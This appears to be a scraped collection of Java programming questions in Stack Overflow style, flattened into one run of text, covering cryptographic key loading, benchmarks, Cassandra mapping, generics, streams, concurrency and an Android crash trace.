//github.com/google/conscryptAnd the pom to install is here-///Edit Edit : Complete minimum reproducible example-Edit Edit Edit : Example now includes loading the public key manually and not with the KeyFactory.When loading the BC public key manually , it 's encoded value matches the encoded value of the Conscrypt public key when loading through the Key Factory ...","BADX_GAXp03z_5p05O1-op61KJAl4j9U2sBnAnJ4p_6GSAIyFGU3lMoC4aIXw_2qlTnplykArgjvwCWw-2g6L44 public org.bouncycastle.jce.interfaces.ECPublicKey loadECPublicKeyBC ( String encodedPublicKey ) throws NoSuchProviderException , NoSuchAlgorithmException , InvalidKeySpecException , IOException { Base64.Decoder base64Decoder = Base64.getUrlDecoder ( ) ; byte [ ] decodedPublicKey = base64Decoder.decode ( encodedPublicKey ) ; KeyFactory keyFactory = KeyFactory.getInstance ( `` ECDH '' , `` BC '' ) ; ECParameterSpec ecParameterSpec = ECUtil.getECParameterSpec ( openSSLProvider , `` prime256v1 '' ) ; ECPoint ecPoint = ECUtil.decodePoint ( decodedPublicKey , ecParameterSpec.getCurve ( ) ) ; ECPublicKeySpec pubSpec = new ECPublicKeySpec ( ecPoint , ecParameterSpec ) ; org.bouncycastle.jce.interfaces.ECPublicKey ecPublicKey = ( org.bouncycastle.jce.interfaces.ECPublicKey ) keyFactory.generatePublic ( pubSpec ) ; return ecPublicKey ; } [ 48 , -126,1,51,48 , -127 , -20,6,7,42 , -122,72 , -50,61,2,1,48 , -127 , -32,2,1,1,48,44,6,7,42 , -122,72 , -50,61,1,1,2,33,0 , -1 , -1 , -1 , -1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1,48,68,4,32 , -1 , -1 , -1 , -1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -4,4,32,90 , -58,53 , -40 , -86,58 , -109 , -25 , -77 , -21 , -67,85,118 , -104 , -122 , -68,101,29,6 , -80 , -52,83 , -80 , -10,59 , -50,60,62,39 , -46,96,75,4,65,4,107,23 , -47 , -14 , -31,44,66,71 , -8 , -68 , -26 , -27,99 , -92,64 , -14,119,3,125 , -127,45 , -21,51 , -96 , -12 , -95,57,69 , -40 , -104 , -62 , -106,79 , -29,66 , -30 , -2,26,127 , -101 , -114 , -25 , -21,74,124,15 , -98,22,43 , -50,51,87,107,49,94 , -50 , -53 , -74,64,104,55 , -65,81 , -11,2,33,0 , -1 , -1 , -1 , -1,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -68 , -26 , -6 , -83 , -89,23 , -98 , -124 , -13 , -71 , -54 , -62 , -4,99,37,81,2,1,1,3,66,0,4,0 , -41 , -4,96,23 , -89,77 , -13 , -1 , -102,116 , -28 , -19,126 , -94 , -98 , -75,40 , -112,37 , -30,63,84 , -38 , -64,103,2,114,120 , -89 , -2 , -122,72,2,50,20,101,55 , -108 , -54,2 , -31 , -94,23 , -61 , -3 , -86 , -107,57 , -23 , -105,41,0 , -82,8 , -17 , -64,37 , -80 , -5,104,58,47 , -114 ] [ 48 , -126,1,51,48 , -127 , -20,6,7,42 , -122,72 , -50,61,2,1,48 , -127 , -32,2,1,1,48,44,6,7,42 , -122,72 , -50,61,1,1,2,33,0 , -1 , -1 , -1 , -1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1,48,68,4,32 , -1 , -1 , -1 , -1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -4,4,32,90 , -58,53 , -40 , -86,58 , -109 , -25 , -77 , -21 , -67,85,118 , -104 , -122 , -68,101,29,6 , -80 , -52,83 , -80 , -10,59 , -50,60,62,39 , -46,96,75,4,65,4,107,23 , -47 , -14 , -31,44,66,71 , -8 , -68 , -26 , -27,99 , -92,64 , -14,119,3,125 , -127,45 , -21,51 , -96 , -12 , -95,57,69 , -40 , -104 , -62 , -106,79 , -29,66 , -30 , -2,26,127 , -101 , -114 , -25 , -21,74,124,15 , -98,22,43 , -50,51,87,107,49,94 , -50 , -53 , -74,64,104,55 , -65,81 , -11,2,33,0 , -1 , -1 , -1 , -1,0,0,0,0 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 , -68 , -26 , -6 , -83 , -89,23 , -98 , -124 , -13 , -71 , -54 , -62 , -4,99,37,81,2,1,1,3,66,0,4,0 , -41 , -4,96,23 , -89,77 , -13 , -1 , -102,116 , -28 , -19,126 , -94 , -98 , -75,40 , -112,37 , -30,63,84 , -38 , -64,103,2,114,120 , -89 , -2 , -122,72,2,50,20,101,55 , -108 , -54,2 , -31 , -94,23 , -61 , -3 , -86 , -107,57 , -23 , -105,41,0 , -82,8 , -17 , -64,37 , -80 , -5,104,58,47 , -114 ] public ECPublicKey loadECPublicKey ( String encodedPublicKey ) throws NoSuchProviderException , NoSuchAlgorithmException , InvalidKeySpecException , IOException { Base64.Decoder base64Decoder = Base64.getUrlDecoder ( ) ; byte [ ] decodedPublicKey = base64Decoder.decode ( encodedPublicKey ) ; KeyFactory keyFactory = KeyFactory.getInstance ( `` EC '' , `` Conscrypt '' ) ; ECParameterSpec ecParameterSpec = ECUtil.getECParameterSpec ( openSSLProvider , `` prime256v1 '' ) ; ECPoint ecPoint = ECUtil.decodePoint ( decodedPublicKey , ecParameterSpec.getCurve ( ) ) ; ECPublicKeySpec pubSpec = new ECPublicKeySpec ( ecPoint , ecParameterSpec ) ; ECPublicKey ecPublicKey = ( ECPublicKey ) keyFactory.generatePublic ( pubSpec ) ; return ecPublicKey ; } [ 48,89,48,19,6,7,42 , -122,72 , -50,61,2,1,6,8,42 , -122,72 , -50,61,3,1,7,3,66,0,4,0 , -41 , -4,96,23 , -89,77 , -13 , -1 , -102,116 , -28 , -19,126 , -94 , -98 , -75,40 , -112,37 , -30,63,84 , -38 , -64,103,2,114,120 , -89 , -2 , -122,72,2,50,20,101,55 , -108 , -54,2 , -31 , -94,23 , -61 , -3 , -86 , -107,57 , -23 , -105,41,0 , -82,8 , -17 , -64,37 , -80 , -5,104,58,47 , -114 ] < dependency > < groupId > org.conscrypt < /groupId > < artifactId > conscrypt-openjdk-uber < /artifactId > < version > 2.1.0 < /version > < /dependency > import org.conscrypt.OpenSSLProvider ; import org.bouncycastle.jce.provider.BouncyCastleProvider ; import sun.security.util.ECUtil ; Security.addProvider ( new BouncyCastleProvider ( ) ) ; Security.addProvider ( new OpenSSLProvider ( ) ) ; ECUtil.getECParameterSpec ( new OpenSSLProvider , `` prime256v1 '' ) ; import org.bouncycastle.jce.ECNamedCurveTable ; import org.bouncycastle.jce.provider.BouncyCastleProvider ; import org.bouncycastle.jce.provider.JCEECPublicKey ; import org.bouncycastle.jce.spec.ECNamedCurveParameterSpec ; import org.conscrypt.OpenSSLProvider ; import sun.security.util.ECUtil ; import java.io.IOException ; import java.security . * ; import java.security.interfaces.ECPublicKey ; import java.security.spec.ECParameterSpec ; import java.security.spec.ECPoint ; import java.security.spec.ECPublicKeySpec ; import java.security.spec.InvalidKeySpecException ; import java.util . * ; public class Main { public static void main ( String [ ] args ) throws NoSuchAlgorithmException , NoSuchProviderException , InvalidKeySpecException , IOException { Security.addProvider ( new BouncyCastleProvider ( ) ) ; Security.addProvider ( new OpenSSLProvider ( ) ) ; String pubKey = `` BADX_GAXp03z_5p05O1-op61KJAl4j9U2sBnAnJ4p_6GSAIyFGU3lMoC4aIXw_2qlTnplykArgjvwCWw-2g6L44 '' ; ECPublicKey publicKey = ( ECPublicKey ) loadPublicKey ( pubKey , `` Conscrypt '' ) ; org.bouncycastle.jce.interfaces.ECPublicKey publicKeyBC = ( org.bouncycastle.jce.interfaces.ECPublicKey ) loadPublicKey ( pubKey , `` BC '' ) ; org.bouncycastle.jce.interfaces.ECPublicKey publicKeyBC2 = ( org.bouncycastle.jce.interfaces.ECPublicKey ) loadPublicKeyManually ( pubKey ) ; System.out.println ( Arrays.toString ( publicKey.getEncoded ( ) ) ) ; System.out.println ( Arrays.toString ( publicKeyBC.getEncoded ( ) ) ) ; System.out.println ( Arrays.toString ( publicKeyBC2.getEncoded ( ) ) ) ; } public static PublicKey loadPublicKey ( String encodedPublicKey , String provider ) throws NoSuchProviderException , NoSuchAlgorithmException , InvalidKeySpecException , IOException { Base64.Decoder base64Decoder = Base64.getUrlDecoder ( ) ; byte [ ] decodedPublicKey = base64Decoder.decode ( encodedPublicKey ) ; KeyFactory keyFactory = KeyFactory.getInstance ( `` EC '' , provider ) ; ECParameterSpec ecParameterSpec = ECUtil.getECParameterSpec ( new OpenSSLProvider ( ) , `` prime256v1 '' ) ; ECPoint ecPoint = ECUtil.decodePoint ( decodedPublicKey , ecParameterSpec.getCurve ( ) ) ; ECPublicKeySpec pubSpec = new ECPublicKeySpec ( ecPoint , ecParameterSpec ) ; ECPublicKey ecPublicKey = ( ECPublicKey ) keyFactory.generatePublic ( pubSpec ) ; return ecPublicKey ; } public static PublicKey loadPublicKeyManually ( String encodedPublicKey ) { Base64.Decoder base64Decoder = Base64.getUrlDecoder ( ) ; byte [ ] decodedPublicKey = base64Decoder.decode ( encodedPublicKey ) ; ECNamedCurveParameterSpec parameterSpec = ECNamedCurveTable.getParameterSpec ( `` prime256v1 '' ) ; org.bouncycastle.jce.spec.ECPublicKeySpec ecPublicKeySpec = new org.bouncycastle.jce.spec.ECPublicKeySpec ( parameterSpec.getCurve ( ) .decodePoint ( decodedPublicKey ) , parameterSpec ) ; org.bouncycastle.jce.interfaces.ECPublicKey ecPublicKey = new JCEECPublicKey ( `` EC '' , ecPublicKeySpec ) ; return ecPublicKey ; } }",How Does BouncyCastle Generate ECDH `` Keys '' ? +Java,"Scala code : bytecode : result is 53879289.462 ± 6289454.961 ops/s : https : //travis-ci.org/plokhotnyuk/scala-vs-java/jobs/56117116 # L2909Java code : bytecode : result is 17444340.812 ± 9508030.117 ops/s : https : //travis-ci.org/plokhotnyuk/scala-vs-java/jobs/56117116 # L2881Yes , it depends on environment parameters ( JDK version , CPU model & frequency of RAM ) and dynamic state . But why mostly the same bytecode on the same environment can produce stable 2x-3x difference for range of function arguments ? Here is list of ops/s numbers for different values of function arguments from my notebook with Intel ( R ) Core ( TM ) i7-2640M CPU @ 2.80GHz ( max 3.50GHz ) , RAM 12Gb DDR3-1333 , Ubuntu 14.10 , Oracle JDK 1.8.0_40-b25 64-bit : Additional question is `` why values of ops/s are decreasing in non-linear way as above ? ''","@ annotation.tailrecprivate def fastLoop ( n : Int , a : Long = 0 , b : Long = 1 ) : Long = if ( n > 1 ) fastLoop ( n - 1 , b , a + b ) else b private long fastLoop ( int , long , long ) ; Code : 0 : iload_1 1 : iconst_1 2 : if_icmple 21 5 : iload_1 6 : iconst_1 7 : isub 8 : lload 4 10 : lload_2 11 : lload 4 13 : ladd 14 : lstore 4 16 : lstore_2 17 : istore_1 18 : goto 0 21 : lload 4 23 : lreturn private long fastLoop ( int n , long a , long b ) { while ( n > 1 ) { long c = a + b ; a = b ; b = c ; n -- ; } return b ; } private long fastLoop ( int , long , long ) ; Code : 0 : iload_1 1 : iconst_1 2 : if_icmple 24 5 : lload_2 6 : lload 4 8 : ladd 9 : lstore 6 11 : lload 4 13 : lstore_2 14 : lload 6 16 : lstore 4 18 : iinc 1 , -1 21 : goto 0 24 : lload 4 26 : lreturn [ info ] Benchmark ( n ) Mode Cnt Score Error Units [ info ] JavaFibonacci.loop 2 thrpt 5 171776163.027 ± 4620419.353 ops/s [ info ] JavaFibonacci.loop 4 thrpt 5 144793748.362 ± 25506649.671 ops/s [ info ] JavaFibonacci.loop 8 thrpt 5 67271848.598 ± 15133193.309 ops/s [ info ] JavaFibonacci.loop 16 thrpt 5 54552795.336 ± 17398924.190 ops/s [ info ] JavaFibonacci.loop 32 thrpt 5 41156886.101 ± 12905023.289 ops/s [ info ] JavaFibonacci.loop 64 thrpt 5 24407771.671 ± 4614357.030 ops/s [ info ] ScalaFibonacci.loop 2 thrpt 5 148926292.076 ± 23673126.125 ops/s [ info ] ScalaFibonacci.loop 4 thrpt 5 139184195.527 ± 30616384.925 ops/s [ info ] ScalaFibonacci.loop 8 thrpt 5 109050091.514 ± 23506756.224 ops/s [ info ] ScalaFibonacci.loop 16 thrpt 5 81290743.288 ± 5214733.740 ops/s [ info ] ScalaFibonacci.loop 32 thrpt 5 38937420.431 ± 8324732.107 ops/s [ info ] ScalaFibonacci.loop 64 thrpt 5 22641295.988 ± 5961435.507 ops/s",Why simple Scala tailrec loop for fibonacci calculation is faster in 3x times than Java loop ? +Java,"I have a cassandra table with an associated materialized view.The primary key is a single id of type uuid , and I have no sort key . Let 's call it my_table_id . This table contains a related_id that I want to use to search.Then I have a materialized view for that table defined asPS : I realise it 's the wrong way to partition data in Cassandra , but unfortunately , this code was inherited.I 'm defining my table in my java code as : Those two custom types are simply wrappers around UUIDs . Again , inherited.My materialized view is defined as : The code seems to be generated correctly , but when I start my Spring Boot application , I get : Error : java : Can not find base entity class 'mypackage.MyTableType ' for view class 'mypackage.MyTableTypeByRelatedId ' Error : java : Error while parsing : Can not find base entity class 'mypackage.MyTableType ' for view class 'mypackage.MyTableTypeByRelatedId'There 's some code generation going on , so it seems to be something 's not generated correctly , but I ca n't quite figure out what.The only mildly useful documentation I find is here and here , but none seems to offer help.What am I doing wrong ?","PRIMARY KEY ( related_id , my_table_id ) WITH CLUSTERING ORDER BY ( my_table_id ASC ) @ Table ( table = `` my_table '' ) public class MyTableType { @ PartitionKey @ Column ( `` my_table_id '' ) @ Codec ( MyIdCassandraConverter.class ) CustomUUIDType myTableId ; @ Column ( `` related_id '' ) @ Codec ( MyRelatedIdCassandraConverter.class ) MyRelatedId relatedId ; ( ... ) } @ MaterializedView ( baseEntity = MyTableType.class , view = `` my_table_by_related_id '' ) public class MyTableTypeByRelatedId { @ PartitionKey @ Column ( `` related_id '' ) @ Codec ( MyRelatedIdCassandraConverter.class ) MyRelatedId relatedId ; @ ClusteringColumn @ Column ( `` my_table_id '' ) @ Codec ( MyIdCassandraConverter.class ) CustomUUIDType myTableId ; }",Map Cassandra Materialized View with DSE 's Java API +Java,Is there a plugin that allows formatting properties files in IntelliJ ? Basically I want to formatto become Is there a setting in IntelliJ for this or a plugin to do it ?,prop1 = thingsome.otherprop = other thing prop1 = thingsome.otherprop = other thing,Is there an Intellij plugin to align values in a .properties file ? +Java,"While inserting into a hashmap , do I always have to check if there is a null value corresponding to the key being inserted ? For instance , if I want to keep track of the number of times a character occurs in a word , using a hashmap , do i always have to do : Or is there a function that can handle this for me ?","if ( hashMap.containsKey ( ch ) ) { hashMap.replace ( ch , 1+hashMap.get ( ch ) ) ; } else { hashMap.put ( ch , 1 ) ; }",Circumventing the null check while populating a HashMap +Java,"I 'm trying to define classes in Java that are similar to Haskell 's functors . Hereby , a functor is defined as : If I want to implement a functor , I have to write something likeThe problem with this code is that Id < X > does not match the type EndoFunctor < X > . How could I determine fmap in the EndoFunctor interface such that if any type K < T > implements EndoFunctor < T > and a map function T- > U is given , then K < U > is returned as a value , without any typecasting ( that is , since I know that my object is an Id < T > , then the result of fmap `` has to be '' a Id < U > , and hence I downcast the result of type EndoFunctor < U > to such type ) ?","/** * Programming languages allow only ( just simply enough ) endofunctor , that are functors from and to the same category . * In this case , the category is the one of the datatypes ( in here Type , in order to make it more clear ) */public interface EndoFunctor < X extends Type > extends Type { /** * The basic implementation for any element fx * @ param map Transformation function for the type parameter * @ param fx Element of the current class * @ param < Y > Target type * @ return transformed element through map */ < Y extends Type > EndoFunctor < Y > fmap ( Function < X , Y > map , EndoFunctor < X > fx ) ; } public class Id < X extends Type > implements EndoFunctor < X > { protected X witness ; Id ( X witness ) { this.witness = witness ; } @ Override public < Y extends Type > Id < Y > fmap ( Function < X , Y > map , Id < X > fx ) { return new Id < > ( map.apply ( fx.witness ) ) ; } }",Functors in Java +Java,"I am trying to find the best average score from below two dimensional array : The output is : 80 ( Arthit 's score ( 60+100 ) /2 ) Till now I solved this problem with below approach , however I am looking for elegant solution with stream : Would you please suggest , what 's the better approach to handle two dimensional array using stream ? Note : I am not looking the exact solution , just looking your valuable suggestion .","String [ ] [ ] scores = { { `` Amit '' , `` 70 '' } , { `` Arthit '' , `` 60 '' } , { `` Peter '' , `` 60 '' } , { `` Arthit '' , `` 100 '' } } ; public static void main ( String [ ] args ) { String [ ] [ ] scores = { { `` Amit '' , `` 70 '' } , { `` Arthit '' , `` 60 '' } , { `` Peter '' , `` 60 '' } , { `` Arthit '' , `` 100 '' } } ; int highestAvg = Integer.MIN_VALUE ; Function < String [ ] , Integer > function = new Function < String [ ] , Integer > ( ) { @ Override public Integer apply ( String [ ] t ) { int sum = 0 , count = 0 ; for ( int i = 0 ; i < scores.length ; i++ ) { if ( t [ 0 ] .equals ( scores [ i ] [ 0 ] ) ) { count++ ; sum += Integer.parseInt ( scores [ i ] [ 1 ] ) ; } } int avg = sum / count ; return highestAvg < avg ? avg : highestAvg ; } } ; System.out.println ( Arrays.stream ( scores ) .map ( function ) .max ( ( o1 , o2 ) - > o1.compareTo ( o2 ) ) .get ( ) ) ; }",Stream Operation of Two dimensional array +Java,"I ca n't find the functionality to write the following code in Java ( or Groovy ) Reader.mark ( int ) is a nice method but it doe n't stack the marks , it only holds the most recent one..Any support from Java library or am I on my own ?",reader.mark ( ) ; // ( 1 ) reader.read ( ) ; //reads ' a'reader.mark ( ) ; // ( 2 ) reader.read ( ) ; //reads ' b'reader.reset ( ) ; //back to ( 2 ) reader.read ( ) ; //reads ' b'reader.reset ( ) ; //back to ( 1 ) reader.read ( ) ; //reads ' a'reader.read ( ) ; //reads ' b ',Multiple marks in Reader +Java,I have a method that needs a Object.class parameter likeHow can I set the class to an Array of this class ? Something likeI tried as well . It doesnt work .,method ( Object.class ) method ( ArrayList < Object > .class ) method ( new ArrayList < Object > ( ) { } ),How to express Array < T > .class +Java,"I have 2 Lists , the one contains a list of numbers and the other a list of names . I have prefixed the names with a number from the first list , followed by an underscore . I want to filter the second list based on all the numbers found in the first list.What I have tried.The code above runs with no error , but the filteredList is empty . Clearly I am doing something wrong.The filteredList should contain only:1_John9_Susan",List < String > numberList = new ArrayList < > ( ) ; numberList.add ( `` 1_ '' ) ; numberList.add ( `` 9_ '' ) ; List < String > nameList = new ArrayList < > ( ) ; nameList.add ( `` 1_John '' ) ; nameList.add ( `` 2_Peter '' ) ; nameList.add ( `` 9_Susan '' ) ; List < String > filteredList = Stream.of ( numberList.toArray ( new String [ 0 ] ) ) .filter ( str - > nameList.stream ( ) .anyMatch ( str : :startsWith ) ) .collect ( Collectors.toList ( ) ) ;,How to filter a List using Java 8 stream and startwith array of values +Java,"I have a generic java class that stores comparables : I also have an abstract class called Person : and two concrete subclasses , Professor and Student : now when I want to create a MyGenericStorage like so , I get an error : I think this is because I have a fundamental problem with understanding generics . Can someone explain this to me , and also , how to fix it ? EDIT : I have changed MyGenericStorage to the following : and now it seems to work . Can someone explain why ?",public class MyGenericStorage < T extends Comparable < T > > { private T value ; public MyGenericStorage ( T value ) { this.value = value ; } // ... methods that use T.compareTo ( ) } public abstract class Person implements Comparable < Person > public class Professor extends Personpublic class Student extends Person //error : type argument Student is not within bounds of type-variable TMyGenericStorage < Student > studStore = new MyGenericStorage < Student > ( new Student ( ) ) ; //this works : MyGenericStorage < Person > persStore = new MyGenericStorage < Person > ( new Student ( ) ) ; public class MyGenericStorage < T extends Comparable < ? super T > >,Generic java class that stores comparables +Java,"I am new to Android coding , but I have experience with Perl regex.I need to match a list of 0 or more identifiers with a regular expression like : Note the $ 2 refers to the previous matched group ( \w\d\d\d ) For android code it would look like : Eclipse compiler does not compile the \ $ 2 , I tried also \2 , which compiles but tries to match a literal number 2.The brute force solution would be to repeat the identifier pattern : It works , but it has the following disadvantages : * It is easy to make a syntax error in either repetition* as the identifier gets more complicated the string gets big* it is not elegant* gets much more complicated if you need to refer not to one but several previous matchesIs there a way in Java to refer to previous matched groups within the regex ?",^\s* ( ( \w\d\d\d ) ( \s+ $ 2 ) * ) ? $ Pattern.compile ( `` ^\\s* ( ( \\w\\d\\d\\d ) ( \\s+\ $ 2 ) * ) ? $ '' ) Pattern.compile ( `` ^\\s* ( ( \\w\\d\\d\\d ) ( \\s+ ( \\w\\d\\d\\d ) ) * ) ? $ '' ),Reference to previous matched groups within a regex +Java,"I 'm trying to find an answer to these , but not able to understand ( or confirm ) it on Google or in Java docs.My implementation looks like as this : if I do Any other thread may override.Now , I 'm thinking if I do like follows : would it be an atomic operation/in another words , it will block the key1 segment ? Javadoc for compute function Attempts to compute a mapping for the specified key and its current mapped value ( or null if there is no current mapping ) . The entire method invocation is performed atomically . Some attempted update operations on this map by other threads may be blocked while computation is in progress , so the computation should be short and simple , and must not attempt to update any other mappings of this Map.References:1.https : //docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html 2.https : //docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html # compute-K-java.util.function.BiFunction-EDIT : for my final implementation , I did something like this as all threads share NewMap and at the end , I new list of POJOsAbstract Data Type","Map < String , POJO > map = new ConcurrentHashMap < String , POJO > ( ) ; value1 = map.get ( key1 ) ; value1.setProp ( prop ) ; map.compute ( key1 , ( key1 , value1 ) - > { value1.setProp ( prop ) } ) ; public class NewMap { private Map < String , POJO > map ; private boolean isUpdatable ; void NewMap ( ) { isUpdatable = true ; map = new ConcurrentHashMap ( ) ; } void putPOJOProp1 ( String key , Type value ) throws ReadOnlyException { map.compute ( key , ( k , v ) - > { if ( ! isUpdatable ) throw new ReadOnlyException ( ) ; if ( k == null ) { POJO p = new POJO ( ) ; p.setProp1 ( value ) ; v = p ; } else { v = v.setProp1 ( v ) } } ) ; } void putPOJOProp2 ... . void putPOJOProp3 ... . List < POJO > getAll ( ) { isUpdatable = false ; List < POJO > pojos ; for ( key : map.getKeys ( ) ) { Pojo p = map.get ( key ) ; p.setKey ( key ) ; pojos.add ( p ) ; } return pojos ; } }",Can we achieve read on mutable data after write atomically in ConcurrentHashMap in Java ? +Java,Recently I 've found a subtle difference between anonymous class and lambda expression : Usually lambdas are equivalent to the anonymous classes . Even my Eclipse IDE has the refactoring to convert the x to lambda ( it becomes exactly like y ) and convert y to anonymous class ( it becomes exactly like x ) . However the lambda gives me a compilation error while anonymous class can be perfectly compiled . The error message looks like this : So the question is : why there 's such difference ?,public class FinalTest { final Runnable x = new Runnable ( ) { @ Override public void run ( ) { System.out.println ( x.hashCode ( ) ) ; } } ; final Runnable y = ( ) - > System.out.println ( y.hashCode ( ) ) ; } > javac FinalTest.javaFinalTest.java:9 : error : self-reference in initializer final Runnable y = ( ) - > System.out.println ( y.hashCode ( ) ) ; ^1 error,Reference to the final field from lambda expression +Java,"I completed this move and worked out most of the kinks however there is one problem I 've not been able to solve . Did a search and tried to make sense of the results , tried a few things but still no progress . The problem seems to be related to the Styles/Themes in the app.Stack tracebuild.grade ( app ) styles.xmlactivity.xmlstrings.xmlcolors.xmlThe issue seems to be related to FullscreenTheme or FullscreenTheme.NoActionBar since I 've been testing different approaches and have gotten different stack traces when changing these . However the code above was all running fine in SDK 21 . I have a feeling a trained eye would see the issue instantly but I 'm not a daily programmer regrettably .","Process : net.myapp.app.debug , PID : 14927java.lang.RuntimeException : Unable to start activity ComponentInfo { net.myapp.app.debug/net.myapp.app.ui.SplashSreenActivity } : android.view.InflateException : Binary XML file line # 31 : Binary XML file line # 31 : Error inflating class android.widget.TextView at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2817 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2892 ) at android.app.ActivityThread.-wrap11 ( Unknown Source:0 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1593 ) at android.os.Handler.dispatchMessage ( Handler.java:105 ) at android.os.Looper.loop ( Looper.java:164 ) at android.app.ActivityThread.main ( ActivityThread.java:6541 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.Zygote $ MethodAndArgsCaller.run ( Zygote.java:240 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:767 ) Caused by : android.view.InflateException : Binary XML file line # 31 : Binary XML file line # 31 : Error inflating class android.widget.TextView Caused by : android.view.InflateException : Binary XML file line # 31 : Error inflating class android.widget.TextView Caused by : java.lang.reflect.InvocationTargetException at java.lang.reflect.Constructor.newInstance0 ( Native Method ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:334 ) at android.view.LayoutInflater.createView ( LayoutInflater.java:647 ) at com.android.internal.policy.PhoneLayoutInflater.onCreateView ( PhoneLayoutInflater.java:58 ) at android.view.LayoutInflater.onCreateView ( LayoutInflater.java:720 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:788 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:730 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:863 ) at android.view.LayoutInflater.rInflateChildren ( LayoutInflater.java:824 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:866 ) at android.view.LayoutInflater.rInflateChildren ( LayoutInflater.java:824 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:515 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:423 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:374 ) at com.android.internal.policy.PhoneWindow.setContentView ( PhoneWindow.java:418 ) at android.app.Activity.setContentView ( Activity.java:2654 ) at net.shopayard.app.ui.SplashSreenActivity.onCreate ( SplashSreenActivity.java:42 ) at android.app.Activity.performCreate ( Activity.java:6975 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1213 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2770 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2892 ) at android.app.ActivityThread.-wrap11 ( Unknown Source:0 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1593 ) at android.os.Handler.dispatchMessage ( Handler.java:105 ) at android.os.Looper.loop ( Looper.java:164 ) at android.app.ActivityThread.main ( ActivityThread.java:6541 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.Zygote $ MethodAndArgsCaller.run ( Zygote.java:240 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:767 ) Caused by : java.lang.UnsupportedOperationException : Failed to resolve attribute at index 6 : TypedValue { t=0x2/d=0x101009b a=1 } at android.content.res.TypedArray.getColorStateList ( TypedArray.java:538 ) at android.widget.TextView. < init > ( TextView.java:904 ) at android.widget.TextView. < init > ( TextView.java:818 ) at android.widget.TextView. < init > ( TextView.java:814 ) at java.lang.reflect.Constructor.newInstance0 ( Native Method ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:334 ) at android.view.LayoutInflater.createView ( LayoutInflater.java:647 ) at com.android.internal.policy.PhoneLayoutInflater.onCreateView ( PhoneLayoutInflater.java:58 ) at android.view.LayoutInflater.onCreateView ( LayoutInflater.java:720 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:788 ) at android.view.LayoutInflater.createViewFromTag ( LayoutInflater.java:730 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:863 ) at android.view.LayoutInflater.rInflateChildren ( LayoutInflater.java:824 ) at android.view.LayoutInflater.rInflate ( LayoutInflater.java:866 ) at android.view.LayoutInflater.rInflateChildren ( LayoutInflater.java:824 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:515 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:423 ) at android.view.LayoutInflater.inflate ( LayoutInflater.java:374 ) at com.android.internal.policy.PhoneWindow.setContentView ( PhoneWindow.java:418 ) at android.app.Activity.setContentView ( Activity.java:2654 ) at net.myapp.app.ui.SplashSreenActivity.onCreate ( SplashSreenActivity.java:42 ) at android.app.Activity.performCreate ( Activity.java:6975 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1213 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:2770 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:2892 ) at android.app.ActivityThread.-wrap11 ( Unknown Source:0 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1593 ) at android.os.Handler.dispatchMessage ( Handler.java:105 ) at android.os.Looper.loop ( Looper.java:164 ) at android.app.ActivityThread.main ( ActivityThread.java:6541 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.Zygote $ MethodAndArgsCaller.run ( Zygote.java:240 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:767 ) apply plugin : 'com.android.application'android { signingConfigs { debug { storeFile file ( ' C : /Users/myapp/.android/debug.keystore ' ) } } compileSdkVersion 28 buildToolsVersion `` 28.0.3 '' defaultConfig { applicationId `` net.myapp.app '' minSdkVersion 21 targetSdkVersion 28 versionCode 22 versionName ' 3.0.0 ' } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro ' } debug { applicationIdSuffix '.debug ' versionNameSuffix '.debug ' } } packagingOptions { exclude 'META-INF/DEPENDENCIES ' exclude 'META-INF/NOTICE ' exclude 'META-INF/LICENSE ' } repositories { flatDir { dirs 'libs ' } } productFlavors { } useLibrary 'org.apache.http.legacy ' } dependencies { compile fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) compile 'com.android.support : appcompat-v7:28.0.0 ' compile 'com.android.support : recyclerview-v7:28.0.0 ' compile 'com.android.support : cardview-v7:28.0.0 ' compile 'com.viewpagerindicator : library:2.4.1 ' compile 'com.android.support : support-v4:28.0.0 ' 